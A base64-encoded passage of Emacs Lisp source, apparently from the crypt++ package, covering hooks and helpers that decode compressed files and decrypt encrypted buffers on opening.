LWVuY3J5cHRpb24ta2V5LXN0ZGluICh0eXBlKQogIDs7IFJldHVybnMgdCBpZiBlbmNyeXB0aW9u IHByb2dyYW0gdGFrZXMgcGFzc3BocmFzZSBvbiBzdGRpbiwgb3IgbmlsCiAgOzsgaWYgYXQgZW5k IG9mIGNvbW1hbmQgbGluZS4KICAobGlzdCAnY3J5cHQtZ2V0LWFsaXN0LW1lbWJlciB0eXBlIDEx KSkKCihkZWZ1biBjcnlwdC1idWZmZXItc2F2ZS1uYW1lICh0eXBlKQogIDs7IFJldHVybnMgdmFy aWFibGUgYGNyeXB0LWJ1ZmZlci1zYXZlLVRZUEUnLCBzZXQgdG8gdCBpZiBlbmNvZGluZyB3aXRo IFRZUEUuCiAgOzsgbG9jYWwgdG8gYWxsIGJ1ZmZlcnMuCiAgKGludGVybiAoY29uY2F0ICJjcnlw dC1idWZmZXItc2F2ZS0iIChzeW1ib2wtbmFtZSB0eXBlKSkpKQoKDAo7OzsgQ3JlYXRlIGEgYnVm ZmVyLWxvY2FsIHZhcmlhYmxlIGZvciBlYWNoIHR5cGUgb2YgZW5jb2RpbmcuCjs7OyBUaGVzZSB2 YXJpYWJsZXMgYXJlIHVzZWQgdG8gdHJpZ2dlciB0aGUgbWlub3IgbW9kZSBuYW1lcy4KCihkZWZ1 biBjcnlwdC1idWlsZC1taW5vci1tb2RlLWFsaXN0ICgpCiAgOzsgUmV0dXJucyBtaW5vciBtb2Rl IGFsaXN0IGVudHJpZXMgZm9yIGVuY29kZWQgYW5kIGVuY3J5cHRlZCBidWZmZXJzLgogIChhcHBl bmQKICAgOzsgRmlyc3QgdGhlIGVuY3J5cHRlZCBtaW5vciBtb2RlIC0tIG9ubHkgb25lLgogICAo bGlzdCAobGlzdCAnY3J5cHQtYnVmZmVyLXNhdmUtZW5jcnlwdGVkCiAgICAgICAgICAgICAgIChj b25jYXQgIiAiIChjcnlwdC1nZXQtbWlub3ItbW9kZS1uYW1lIGNyeXB0LWVuY3J5cHRpb24tdHlw ZSkpKSkKICAgOzsgTm93IHRoZSBlbmNvZGluZyBtaW5vciBtb2Rlcy4KICAgKG1hcGNhcgogICAg KGZ1bmN0aW9uCiAgICAgKGxhbWJkYSAoZWxlbWVudCkKICAgICAgIChsZXQgKCh2YXJpYWJsZSAo Y3J5cHQtYnVmZmVyLXNhdmUtbmFtZSAoY2FyIGVsZW1lbnQpKSkpCiAgICAgICAgIChtYWtlLXZh cmlhYmxlLWJ1ZmZlci1sb2NhbCB2YXJpYWJsZSkKICAgICAgICAgKHB1dCB2YXJpYWJsZSAncGVy bWFuZW50LWxvY2FsIHQpIDsgZm9yIHYxOSBFbWFjcwogICAgICAgICAocHV0IHZhcmlhYmxlICdw cmVzZXJ2ZWQgdCkgICAgICAgOyBmb3Iga2lsbC1maXguZWwKICAgICAgICAgKGxpc3QgdmFyaWFi bGUKICAgICAgICAgICAgICAgKGNvbmNhdCAiICIgKGNyeXB0LWdldC1taW5vci1tb2RlLW5hbWUg KGNhciBlbGVtZW50KSkpKSkpKQogICAgY3J5cHQtZW5jb2RpbmctYWxpc3QpKSkKCihkZWZjb25z dCBjcnlwdC1taW5vci1tb2RlLWFsaXN0IChjcnlwdC1idWlsZC1taW5vci1tb2RlLWFsaXN0KQog ICJBbGlzdCBjb250YWluaW5nIGVuY29kZWQgYW5kIGVuY3J5cHRlZCBtaW5vciBtb2Rlcy4KRGVy aXZlZCBmcm9tIHZhcmlhYmxlIGBjcnlwdC1lbmNvZGluZy1hbGlzdCcgYW5kIGZ1bmN0aW9uCmBj cnlwdC1idWlsZC1taW5vci1tb2RlLWVuY3J5cHRlZCciKQoKKGRlZnVuIGNyeXB0LXJlYnVpbGQt bWlub3ItbW9kZXMtYWxpc3QgKCkKICA7OyBSZWJ1aWxkcyB0aGUgZW5jcnlwdGlvbiBhbmQgZW5j b2RpbmcgbWlub3IgbW9kZXMgYW5kIGBtaW5vci1tb2RlLWFsaXN0LicKICA7OyBBbGxvd3MgdXNl ciB0byBhbHRlciB2YXJpYWJsZXMgdXNlZCBpbiBidWlsZGluZyB0aGlzIGFsaXN0LiBDYWxsZWQg YnkKICA7OyBgY3J5cHQtcmVidWlsZC10YWJsZXMnIGFuZCBzbyBwYXJ0IG9mIGBhZnRlci1pbml0 LWhvb2snLiIKCiAgOzsgRmlyc3QgcmVtb3ZlIG9sZCBjcnlwdCBtaW5vciBtb2RlIGVudHJpZXMg ZnJvbSBgbWlub3ItbW9kZS1hbGlzdCcuCiAgKGlmIChtZW1xIChjYXIgY3J5cHQtbWlub3ItbW9k ZS1hbGlzdCkgbWlub3ItbW9kZS1hbGlzdCkKICAgICAgKGxldCAoKGFsaXN0IGNyeXB0LW1pbm9y LW1vZGUtYWxpc3QpIGVsdCkKICAgICAgICAod2hpbGUgKGFuZCBhbGlzdCAoc2V0cSBlbHQgKGNh ciBhbGlzdCkpKQogICAgICAgICAgKHNldHEgbWlub3ItbW9kZS1hbGlzdCAoZGVscSBlbHQgbWlu b3ItbW9kZS1hbGlzdCkKICAgICAgICAgICAgICAgIGFsaXN0IChjZHIgYWxpc3QpKSkpKQoKICA7 OyBHZXQgbmV3IGNyeXB0IG1pbm9yIG1vZGUgZW50cmllcyBhbmQgYWRkIHRvIG1pbm9yLW1vZGUt YWxpc3QuCiAgKHNldHEgY3J5cHQtbWlub3ItbW9kZS1hbGlzdCAoY3J5cHQtYnVpbGQtbWlub3It bW9kZS1hbGlzdCkKICAgICAgICBtaW5vci1tb2RlLWFsaXN0IChhcHBlbmQgY3J5cHQtbWlub3It bW9kZS1hbGlzdCBtaW5vci1tb2RlLWFsaXN0KSkpCgoMCihkZWZtYWNybyBjcnlwdC1zYXZlLXBv aW50ICgmcmVzdCBib2R5KQogIDs7IFNhdmUgdmFsdWUgb2YgcG9pbnQsIGV2YWx1YXRlIEZPUk1T LCBhbmQgcmVzdG9yZSB2YWx1ZSBvZiBwb2ludC4gIElmIHRoZQogIDs7IHNhdmVkIHZhbHVlIG9m IHBvaW50IGlzIG5vIGxvbmdlciB2YWxpZCBnbyB0byAocG9pbnQtbWF4KS4gIFRoaXMgbWFjcm8K ICA7OyBleGlzdHMgYmVjYXVzZSwgc2F2ZS1leGN1cnNpb24gbG9zZXMgdHJhY2sgb2YgcG9pbnQg ZHVyaW5nIHNvbWUgdHlwZXMgb2YKICA7OyBkZWxldGlvbnMuCiAgKGxldCAoKHZhciAobWFrZS1z eW1ib2wgInNhdmVkLXBvaW50IikpKQogICAgKGxpc3QgJ2xldCAobGlzdCAobGlzdCB2YXIgJyhw b2ludCkpKQogICAgICAgICAgKGxpc3QgJ3Vud2luZC1wcm90ZWN0CiAgICAgICAgICAgICAgICAo Y29ucyAncHJvZ24gYm9keSkKICAgICAgICAgICAgICAgIChsaXN0ICdnb3RvLWNoYXIgdmFyKSkp KSkKCgwKOzsgSG9vayBydW4gZm9yIGRlY29kaW5nIGFuZC9vciBkZWNyeXB0aW5nIHRoZSBjb250 ZW50cyBvZiBhIGJ1ZmZlci4gIE1lYW50Cjs7IHRvIGJlIGNhbGxlZCBhcyBwYXJ0IG9mIGBmaW5k LWZpbGUtaG9va3MnLgo7OyAKKGRlZnVuIGNyeXB0LWZpbmQtZmlsZS1ob29rICgpCiAgOyhtZXNz YWdlICJzdGFydGluZyBjcnlwdC1maW5kLWZpbGUtaG9vayIpCiAgOyhtZXNzYWdlICJidWZmZXIg YXQgZmlsZSBob29rOlxuJXNcbi0tZW5kIiAoYnVmZmVyLXN0cmluZykpCiAgKGxldCAoKGJ1ZmZl ci1maWxlLW5hbWUgYnVmZmVyLWZpbGUtbmFtZSkKICAgICAgICAob2xkLWJ1ZmZlci1maWxlLW5h bWUgYnVmZmVyLWZpbGUtbmFtZSkKICAgICAgICAob2xkLWJ1ZmZlci1tb2RpZmllZC1wIChidWZm ZXItbW9kaWZpZWQtcCkpCiAgICAgICAgKGNhc2UtZm9sZC1zZWFyY2ggbmlsKSA7IGNhc2Utc2Vu c2l0aXZlCgkoYmluYXJ5LXByb2Nlc3MtaW5wdXQgdCkgOyBXaW4zMgoJKGJpbmFyeS1wcm9jZXNz LW91dHB1dCB0KSA7IFdpbjMyCiAgICAgICAgZW5jcnlwdGVkIGVuY29kZWQgYnVmZmVyLXJlYWQt b25seSkKCgogICAgOzsgREVDT0RFIEFORC9PUiBERUNSWVBUCiAgICAoY3J5cHQtc2F2ZS1wb2lu dAoKICAgICA7OyBEbyB3ZSBoYXZlIHRvIERFQ09ERT8gSWYgbm90LCB0aGVuIG1vdmUgb24uCiAg ICAgKGlmIChhbmQgKGNyeXB0LWVuY29kZWQtcCkKICAgICAgICAgICAgICAob3IgY3J5cHQtYXV0 by1kZWNvZGUtYnVmZmVyCiAgICAgICAgICAgICAgICAgICh5LW9yLW4tcCAoZm9ybWF0ICJEZWNv ZGUgJXM/ICIgKGJ1ZmZlci1uYW1lKSkpKSkKCiAgICAgICAgIDs7IERlY29kZSwgdW5jb21wcmVz cywgdGhlIGJ1ZmZlci4KICAgICAgICAgKHByb2duCgogICAgICAgICA7OyBUaGlzIGlzIHVnbHks IGJ1dCBpdCBtYWtlcyB0YXItbW9kZSByZWNvZ25pemUgYW5kIGRlY29kZSB0aGUKICAgICAgICAg OzsgYnVmZmVyIGFmdGVyIHdlIHVuY29tcHJlc3MgaXQuICBXZSBzaG91bGQgYXQgbGVhc3QgdXNl IHRoZQogICAgICAgICA7OyByZWdleHBzIGFscmVhZHkgZGVmaW5lZCBpbiB0aGUgdGFibGUuCiAg ICAgICAgIChpZiAoYW5kIChub3QgKG51bGwgYnVmZmVyLWZpbGUtbmFtZSkpCiAgICAgICAgICAg ICAgICAgIChzdHJpbmctbWF0Y2ggIlxcLlokIiBidWZmZXItZmlsZS1uYW1lKSkKICAgICAgICAg ICAgIChzZXQtdmlzaXRlZC1maWxlLW5hbWUKICAgICAgICAgICAgICAoc3Vic3RyaW5nIGJ1ZmZl ci1maWxlLW5hbWUgMCAobWF0Y2gtYmVnaW5uaW5nIDApKSkpCiAgICAgICAgIChpZiAoYW5kIChu b3QgKG51bGwgYnVmZmVyLWZpbGUtbmFtZSkpCiAgICAgICAgICAgICAgICAgIChzdHJpbmctbWF0 Y2ggIlxcLmc/eiQiIGJ1ZmZlci1maWxlLW5hbWUpKQogICAgICAgICAgICAgKHNldC12aXNpdGVk LWZpbGUtbmFtZQogICAgICAgICAgICAgIChzdWJzdHJpbmcgYnVmZmVyLWZpbGUtbmFtZSAwICht YXRjaC1iZWdpbm5pbmcgMCkpKSkKICAgICAgICAgKGlmIChhbmQgKG5vdCAobnVsbCBidWZmZXIt ZmlsZS1uYW1lKSkKICAgICAgICAgICAgICAgICAgKHN0cmluZy1tYXRjaCAiXFwuYnoyPyQiIGJ1 ZmZlci1maWxlLW5hbWUpKQogICAgICAgICAgICAgKHNldC12aXNpdGVkLWZpbGUtbmFtZQogICAg ICAgICAgICAgIChzdWJzdHJpbmcgYnVmZmVyLWZpbGUtbmFtZSAwIChtYXRjaC1iZWdpbm5pbmcg MCkpKSkKICAgICAgICAgKGlmIChhbmQgKG5vdCAobnVsbCBidWZmZXItZmlsZS1uYW1lKSkKICAg ICAgICAgICAgICAgICAgKHN0cmluZy1tYXRjaCAiXFwudGd6JCIgYnVmZmVyLWZpbGUtbmFtZSkp CiAgICAgICAgICAgICAoc2V0LXZpc2l0ZWQtZmlsZS1uYW1lIChjb25jYXQKICAgICAgICAgICAg ICAoc3Vic3RyaW5nIGJ1ZmZlci1maWxlLW5hbWUgMCAobWF0Y2gtYmVnaW5uaW5nIDApKSAiLnRh ciIpKSkKICAgICAgICAgKGlmIChhbmQgKG5vdCAobnVsbCBidWZmZXItZmlsZS1uYW1lKSkKICAg ICAgICAgICAgICAgICAgKHN0cmluZy1tYXRjaCAiXFwudGJ6JCIgYnVmZmVyLWZpbGUtbmFtZSkp CiAgICAgICAgICAgICAoc2V0LXZpc2l0ZWQtZmlsZS1uYW1lIChjb25jYXQKICAgICAgICAgICAg ICAoc3Vic3RyaW5nIGJ1ZmZlci1maWxlLW5hbWUgMCAobWF0Y2gtYmVnaW5uaW5nIDApKSAiLnRh ciIpKSkKCiAgICAgICAgICAgKG1lc3NhZ2UgIkRlY29kaW5nICVzLi4uIiAoYnVmZmVyLW5hbWUp KQogICAgICAgICAgIChjcnlwdC1lbmNvZGUtYnVmZmVyIHQpCgogICAgICAgICAgIDs7IFN0b3Jl IHRoZSBlbmNvZGluZyBtb2RlLgoKICAgICAgICAgICA7OyBXZSBjYW4gbm90IHlldCBnbyBpbnRv IHRoZSBtaW5vciBtb2RlcyBiZWNhdXNlIHRoZSBtYWpvciBtb2RlCiAgICAgICAgICAgOzsgbWF5 IGNoYW5nZSBsYXRlciBvbiBhbmQgYmxvdyBhd2F5IGFsbCBsb2NhbCB2YXJpYWJsZXMgKGFuZCB0 aHVzCiAgICAgICAgICAgOzsgdGhlIG1pbm9yIG1vZGVzKS4gIE9ubHkgbmVlZGVkIGZvciB2YW5p bGxhIHYxOC4gIE91cgogICAgICAgICAgIDs7IGJ1ZmZlci1sb2NhbHMgZGVmaW5lZCAncGVybWFu ZW50LWxvY2FsIGZvciB2MTkgRW1hY3MgYW5kCiAgICAgICAgICAgOzsgJ3ByZXNlcnZlZCBmb3Ig a2lsbC1maXguZWwuCgogICAgICAgICAgIChzZXRxIGVuY29kZWQgY3J5cHQtYnVmZmVyLWVuY29k aW5nLXR5cGUpCgogICAgICAgICAgIDs7IFN0cmlwIGVuY29kZWQgZmlsZSdzIGV4dGVuc2lvbiBz byBsYXRlciB3ZSBjYW4gc2V0IGJ1ZmZlcidzCiAgICAgICAgICAgOzsgbWFqb3IgbW9kZSBiYXNl ZCBvbiBpdHMgZmlsZS1uYW1lIHNhbnMgZW5jb2RpbmcgZXh0ZW5zaW9uLgogICAgICAgICAgIChp ZiAoc3RyaW5nLW1hdGNoIChjcnlwdC1nZXQtZmlsZS1leHRlbnNpb24KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgY3J5cHQtYnVmZmVyLWVuY29kaW5nLXR5cGUpIGJ1ZmZlci1maWxlLW5h bWUpCiAgICAgICAgICAgICAgIChzZXRxIGJ1ZmZlci1maWxlLW5hbWUKICAgICAgICAgICAgICAg ICAgICAgKHN1YnN0cmluZyBidWZmZXItZmlsZS1uYW1lIDAgKG1hdGNoLWJlZ2lubmluZyAxKSkp KQoKICAgICAgICAgICA7OyBEZWNvZGluZyBlbmRzLgogICAgICAgICAgIChpZiAobm90IChpbnB1 dC1wZW5kaW5nLXApKQogICAgICAgICAgICAgICAobWVzc2FnZSAiRGVjb2RpbmcgJXMuLi4gZG9u ZSIgKGJ1ZmZlci1uYW1lKSkpKSkKCiAgICAgOzsgRG8gd2UgaGF2ZSB0byBERUNSWVBUPyBJZiBu b3QsIHRoZW4gbW92ZSBvbi4KICAgICAoaWYgKGNyeXB0LWVuY3J5cHRlZC1wKQoKICAgICAgICAg OzsgRGVjcnlwdCBidWZmZXIuCiAgICAgICAgIChwcm9nbgoKICAgICAgICAgICAobWVzc2FnZSAi RGVjcnlwdGluZyAlcy4uLiIgKGJ1ZmZlci1uYW1lKSkKICAgICAgICAgICAoY3J5cHQtZW5jcnlw dC1idWZmZXIgY3J5cHQtYnVmZmVyLWVuY3J5cHRpb24ta2V5IHQpCgogICAgICAgICAgIDs7IFNh dmUga2V5IGluIGNhc2UgbWFqb3IgbW9kZSBibG93cyBhbGwgYnVmZmVyLWxvY2Fscy4KCiAgICAg ICAgICAgOzsgT25seSBuZWVkZWQgZm9yIHZhbmlsbGEgdjE4LiAgT3VyIGJ1ZmZlci1sb2NhbHMg ZGVmaW5lZAogICAgICAgICAgIDs7ICdwZXJtYW5lbnQtbG9jYWwgZm9yIHYxOSBFbWFjcyBhbmQg J3ByZXNlcnZlZCBmb3IKICAgICAgICAgICA7OyBraWxsLWZpeC5lbC4KCiAgICAgICAgICAgKHNl dHEgZW5jcnlwdGVkIGNyeXB0LWJ1ZmZlci1lbmNyeXB0aW9uLWtleSkKCiAgICAgICAgICAgOzsg U3RyaXAgZW5jcnlwdGVkIGZpbGUncyBleHRlbnNpb24gc28gbGF0ZXIgd2UgY2FuIHNldCBidWZm ZXIncwogICAgICAgICAgIDs7IG1ham9yIG1vZGUgYmFzZWQgb24gaXRzIGZpbGUtbmFtZSBzYW5z IGVuY3J5cHRpbmcgZXh0ZW5zaW9uLgogICAgICAgICAgIChpZiAoYW5kIChjcnlwdC1nZXQtZXh0 ZW5zaW9uLXRyaWNrcyBjcnlwdC1lbmNyeXB0aW9uLXR5cGUpCiAgICAgICAgICAgICAgICAgICAg KHN0cmluZy1tYXRjaCAoY3J5cHQtZ2V0LWZpbGUtZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgY3J5cHQtZW5jcnlwdGlvbi10eXBlKSBidWZmZXItZmlsZS1uYW1l KSkKICAgICAgICAgICAgICAgKHNldHEgYnVmZmVyLWZpbGUtbmFtZQogICAgICAgICAgICAgICAg ICAgICAoc3Vic3RyaW5nIGJ1ZmZlci1maWxlLW5hbWUgMCAobWF0Y2gtYmVnaW5uaW5nIDEpKSkp CgogICAgICAgICAgIChpZiAobm90IChpbnB1dC1wZW5kaW5nLXApKQogICAgICAgICAgICAgICAo bWVzc2FnZSAiRGVjcnlwdGluZyAlcy4uLiBkb25lIiAoYnVmZmVyLW5hbWUpKSkpKSkKCiAgICA7 OyBNQUpPUiBBTkQgTUlOT1IgTU9ERVMKCiAgICA7OyBPSywgaWYgYW55IGNoYW5nZXMgaGF2ZSBi ZWVuIG1hZGUgdG8gdGhlIGJ1ZmZlciB3ZSBuZWVkIHRvIHJlcnVuIHRoZQogICAgOzsgY29kZSB0 aGUgZG9lcyBhdXRvbWF0aWMgc2VsZWN0aW9uIG9mIG1ham9yIG1vZGUuCgogICAgKGlmIChvciBl bmNvZGVkIGVuY3J5cHRlZCkKCiAgICAgICAgKHByb2duCgogICAgICAgICAgOzsgU2V0IHRoZSBt YWpvciBtb2RlLgogICAgICAgICAgKHNldC1hdXRvLW1vZGUpCiAgICAgICAgICAoaGFjay1sb2Nh bC12YXJpYWJsZXMpCgogICAgICAgICAgOzsgTm93IHNldCBvdXIgb3duIG1pbm9yIG1vZGUocyku CiAgICAgICAgICAoaWYgZW5jb2RlZAogICAgICAgICAgICAgIDs7IFJlY292ZXIgZW5jb2Rpbmcg dHlwZSwgbWF5IGhhdmUgYmVlbiBzbWFzaGVkIGJ5IG1ham9yIG1vZGUsCiAgICAgICAgICAgICAg OzsgYW5kIHRvZ2dsZSBlbmNvZGVkIG1vZGUuCiAgICAgICAgICAgICAgKHByb2duIChzZXRxIGNy eXB0LWJ1ZmZlci1lbmNvZGluZy10eXBlIGVuY29kZWQpCiAgICAgICAgICAgICAgICAgICAgIChj cnlwdC1lbmNvZGVkLW1vZGUgMSkpKQoKICAgICAgICAgIChpZiBlbmNyeXB0ZWQKICAgICAgICAg ICAgICA7OyBSZWNvdmVyIGVuY3J5cHRpb24ga2V5LCBtYXkgaGF2ZSBiZWVuIHNtYXNoZWQgYnkg bWFqb3IgbW9kZSwKICAgICAgICAgICAgICA7OyBhbmQgdG9nZ2xlIGVuY3J5cHRlZCBtb2RlLgog ICAgICAgICAgICAgIChwcm9nbiAoc2V0cSBjcnlwdC1idWZmZXItZW5jcnlwdGlvbi1rZXkgZW5j cnlwdGVkKQogICAgICAgICAgICAgICAgICAgICAoY3J5cHQtZW5jcnlwdGVkLW1vZGUgMSkpKQoK ICAgICAgICAgIDs7IFJlc3RvcmUgYnVmZmVyIGZpbGUgbmFtZSBub3csIHNvIHRoYXQgbG9jayBm aWxlIGVudHJ5IGlzIHJlbW92ZWQKICAgICAgICAgIDs7IHByb3Blcmx5LgogICAgICAgICAgKHNl dHEgYnVmZmVyLWZpbGUtbmFtZSBvbGQtYnVmZmVyLWZpbGUtbmFtZSkKCiAgICAgICAgICA7OyBS ZXN0b3JlIGJ1ZmZlciBtb2RpZmllZCBmbGFnIHRvIGl0cyBwcmV2aW91cyB2YWx1ZS4gIFdpbGwg YWxzbwogICAgICAgICAgOzsgcmVtb3ZlIGxvY2sgZmlsZSBlbnRyeSBmb3IgYnVmZmVyIGlmIHBy ZXZpb3VzIHZhbHVlIHdhcyBuaWwuCiAgICAgICAgICA7OyBUaGlzIGlzIHdoeSBidWZmZXItZmls ZS1uYW1lIGhhZCB0byBiZSByZXN0b3JlZCBtYW51YWxseSBhYm92ZS4KICAgICAgICAgIChzZXQt YnVmZmVyLW1vZGlmaWVkLXAgb2xkLWJ1ZmZlci1tb2RpZmllZC1wKSkpKSkKCihkZWZ1biBjcnlw dC1lbmNvZGVkLXAgKCZvcHRpb25hbCBidWZmZXIpCiAgOzsgUmV0dXJucyB0IGlmIGN1cnJlbnQg YnVmZmVyLCBvciBvcHRpb25hbGx5IEJVRkZFUiwgaXMgZW5jb2RlZC4KICA7OyBTZXRzIGBjcnlw dC1idWZmZXItZW5jb2RpbmctdHlwZScgdG8gZW5jb2RpbmcgbWV0aG9kLgogIChzYXZlLWV4Y3Vy c2lvbgogICAgKGFuZCBidWZmZXIgKHNldC1idWZmZXIgYnVmZmVyKSkKICAgIChzYXZlLXJlc3Ry aWN0aW9uCiAgICAgICh3aWRlbikKICAgICAgKGdvdG8tY2hhciAocG9pbnQtbWluKSkKICAgICAg KGxldCAoKGFsaXN0IGNyeXB0LWVuY29kaW5nLWFsaXN0KSBlbHQgZm91bmQpCiAgICAgICAgKHdo aWxlIChhbmQgYWxpc3QgKHNldHEgZWx0IChjYXIgYWxpc3QpKSAobm90IGZvdW5kKSkKICAgICAg ICAgIChpZiAobG9va2luZy1hdCAobnRoIDEgZWx0KSkKICAgICAgICAgICAgICAoc2V0cSBjcnlw dC1idWZmZXItZW5jb2RpbmctdHlwZSAobnRoIDAgZWx0KQogICAgICAgICAgICAgICAgICAgIGZv dW5kIHQpCiAgICAgICAgICAgIDs7IERlY3JlbWVudAogICAgICAgICAgICAoc2V0cSBhbGlzdCAo Y2RyIGFsaXN0KSkpKQogICAgICAgIGZvdW5kKSkpKQoKKGRlZnVuIGNyeXB0LWVuY3J5cHRlZC1w ICgmb3B0aW9uYWwgYnVmZmVyKQogIDs7IFJldHVybnMgdCBpZiBjdXJyZW50IGJ1ZmZlciwgb3Ig b3B0aW9uYWxseSBCVUZGRVIsIGlzIGVuY3J5cHRlZC4KICA7OyBMb29rIGZvciBNQUdJQy1SRUdF WFAgYW5kIGFic2VuY2Ugb2YgTUFHSUMtUkVHRVhQLUlOVkVSU0UuICBJZiBzbywgdGhlbgogIDs7 IGFzc3VtZSBpdCBpcyBhbiBlbmNyeXB0ZWQgYnVmZmVyLgogIDs7IFNldHMgYGNyeXB0LWJ1ZmZl ci1lbmNyeXB0aW9uLWtleScgdG8gcGFzc3dvcmQgaWYgbm90IHNldCBhbHJlYWR5LgoKICA7OyBE byBub3QgdHJ5IHRvIGRlY3J5cHQgYnVmZmVyIGlmIG5vdCB3YW50ZWQuCiAgKGlmIChub3QgY3J5 cHQtbmV2ZXItZXZlci1kZWNyeXB0KQoKICAgICAgKHNhdmUtZXhjdXJzaW9uCiAgICAgICAgKGFu ZCBidWZmZXIgKHNldC1idWZmZXIgYnVmZmVyKSkKCiAgICAgICAgKHNhdmUtcmVzdHJpY3Rpb24K ICAgICAgICAgICh3aWRlbikKICAgICAgICAgIChnb3RvLWNoYXIgKHBvaW50LW1pbikpCgogICAg ICAgICAgKGxldCAoKG1hZ2ljLXJlZ2V4cCAoY3J5cHQtZ2V0LW1hZ2ljLXJlZ2V4cCBjcnlwdC1l bmNyeXB0aW9uLXR5cGUpKQogICAgICAgICAgICAgICAgKG1hZ2ljLXJlZ2V4cC1pbnZlcnNlIChj cnlwdC1nZXQtbWFnaWMtcmVnZXhwLWludmVyc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgY3J5cHQtZW5jcnlwdGlvbi10eXBlKSkKICAgICAgICAgICAgICAgIChsaW1p dCAobWluIChwb2ludC1tYXgpIGNyeXB0LW1hZ2ljLXNlYXJjaC1saW1pdCkpKQoKICAgICAgICAg ICAgOzsgQ2hlY2sgYWxsIGVuY3J5cHRpb24gY29uZGl0aW9ucy4gIElmIGFueSBmYWlsLCB0aGVu IHJldHVybiBuaWwKICAgICAgICAgICAgOzsgdmFsdWUgb2YgdGhpcyBpZi1mb3JtLCBlbHNlIGNo ZWNrIGZvciBwYXNzd29yZC4KICAgICAgICAgICAgKGlmIChhbmQKCiAgICAgICAgICAgICAgICAg OzsgQ2hlY2sgZm9yIGV4aXN0ZW5jZSBvZiBNQUdJQy1SRUdFWFAuCiAgICAgICAgICAgICAgICAg KGlmIChzdHJpbmdwIG1hZ2ljLXJlZ2V4cCkKICAgICAgICAgICAgICAgICAgICAgOzsgcmVndWxh ciBleHByZXNzaW9uCiAgICAgICAgICAgICAgICAgICAgIChyZS1zZWFyY2gtZm9yd2FyZCBtYWdp Yy1yZWdleHAgbGltaXQgdCkKICAgICAgICAgICAgICAgICAgIDs7IGxpc3AgZXhwcmVzc2lvbgog ICAgICAgICAgICAgICAgICAgKGV2YWwgbWFnaWMtcmVnZXhwKSkKCiAgICAgICAgICAgICAgICAg KGdvdG8tY2hhciAocG9pbnQtbWluKSkKCiAgICAgICAgICAgICAgICAgOzsgQ2hlY2sgZm9yIGFi c2VuY2Ugb2YgTUFHSUMtUkVHRVhQLUlOVkVSU0UuCiAgICAgICAgICAgICAgICAgKG5vdCAoaWYg KHN0cmluZ3AgbWFnaWMtcmVnZXhwLWludmVyc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAg OzsgcmVndWxhciBleHByZXNzaW9uCiAgICAgICAgICAgICAgICAgICAgICAgICAgKHJlLXNlYXJj aC1mb3J3YXJkIG1hZ2ljLXJlZ2V4cC1pbnZlcnNlIGxpbWl0IHQpCiAgICAgICAgICAgICAgICAg ICAgICAgIDs7IGxpc3AgZXhwcmVzc2lvbgogICAgICAgICAgICAgICAgICAgICAgICAoZXZhbCBt YWdpYy1yZWdleHAtaW52ZXJzZSkpKSkKCiAgICAgICAgICAgICAgICAocHJvZ24KCiAgICAgICAg ICAgICAgICAgIDs7IEdldCBrZXksIGkuZS4sIHRoZSBwYXNzd29yZD8KICAgICAgICAgICAgICAg ICAgKG9yIGNyeXB0LWJ1ZmZlci1lbmNyeXB0aW9uLWtleQogICAgICAgICAgICAgICAgICAgICAg OzsgRG8gbm90IGNvbmZpcm0gb24gcmVhZGluZyBhbiBlbmNyeXB0ZWQgZmlsZS4KICAgICAgICAg ICAgICAgICAgICAgIChsZXQgKChjcnlwdC1jb25maXJtLXBhc3N3b3JkIG5pbCkpCiAgICAgICAg ICAgICAgICAgICAgICAgIChjYWxsLWludGVyYWN0aXZlbHkgJ2NyeXB0LXNldC1lbmNyeXB0aW9u LWtleSkpKQoKICAgICAgICAgICAgICAgICAgOzsgRG8gbm90IHR1cm4gb24gZW5jcnlwdGlvbiBt b2RlIGlmIG5vIGtleTogbWF5IGJlIGEgYmluYXJ5CiAgICAgICAgICAgICAgICAgIDs7IGZpbGUu ICBUaGFua3MgdG8gUGF1bCBEd29ya2luIChwYXVsQG1lZGlhLWxhYi5tZWRpYS5taXQuZWR1KS4K ICAgICAgICAgICAgICAgICAgKGlmIChlcXVhbCBjcnlwdC1idWZmZXItZW5jcnlwdGlvbi1rZXkg IiIpCiAgICAgICAgICAgICAgICAgICAgICA7OyBSZXR1cm4gbmlsLgogICAgICAgICAgICAgICAg ICAgICAgKHByb2duCiAgICAgICAgICAgICAgICAgICAgICAgIChtZXNzYWdlICJObyBrZXkgZ2l2 ZW4uICBBc3N1bWVkIG5vcm1hbC4iKQogICAgICAgICAgICAgICAgICAgICAgICBuaWwpCiAgICAg ICAgICAgICAgICAgICAgOzsgUmV0dXJuIHQuCiAgICAgICAgICAgICAgICAgICAgdCkpKSkpKSkp CgoMCjs7OwoKKGRlZnVuIGNyeXB0LWNoZWNrLWV4dGVuc2lvbi1mb3ItZW5jb2RpbmcgKCkKCiAg OzsgQ2hlY2tzIGZpbGUgZXh0ZW5zaW9ucyBmb3IgcG9zc2libGUgdG9nZ2xpbmcgb2YgZW5jb2Rp bmcgbW9kZXMuICBVc2VkIGZvcgogIDs7IGJ1ZmZlcnMgdG8gYmUgd3JpdHRlbiB0byBkaXNrIGFu ZCBjYWxsZWQgYnkgYGNyeXB0LXdyaXRlLWZpbGUtaG9vaycKCiAgOzsgV2UgdHJ5IHRvIGZsYWcg YSBidWZmZXIgdG8gYmUgd3JpdHRlbiBvdXQgaW4gZW5jb2RlZCBmb3JtIGlmIHRoZSBmaWxlCiAg OzsgZW5kcyBpbiBvbmUgb2YgdGhlIGZpbGUtZXh0ZW5zaW9ucyBpbiBgY3J5cHQtZW5jb2Rpbmct YWxpc3QnIGV2ZW4gaWYKICA7OyBgY3J5cHQtYnVmZmVyLXNhdmUtZW5jb2RlZCcgaXMgbmlsLiAg Q29udmVyc2VseSwgd2UgdHJ5IHRvIHdyaXRlIG91dCBhCiAgOzsgYnVmZmVyIGFzIGEgcGxhaW4g ZmlsZSBpZiBpdCBkb2VzIF9ub3RfIGVuZCBpbiBvbmUgb2YgdGhlc2UKICA7OyBmaWxlLWV4dGVu c2lvbnMgZXZlbiBpZiBgY3J5cHQtYnVmZmVyLXNhdmUtZW5jb2RlZCcgaXMgbm9uLW5pbC4KCiAg KGxldCAoKGFsaXN0IGNyeXB0LWVuY29kaW5nLWFsaXN0KQogICAgICAgIChjYXNlLWZvbGQtc2Vh 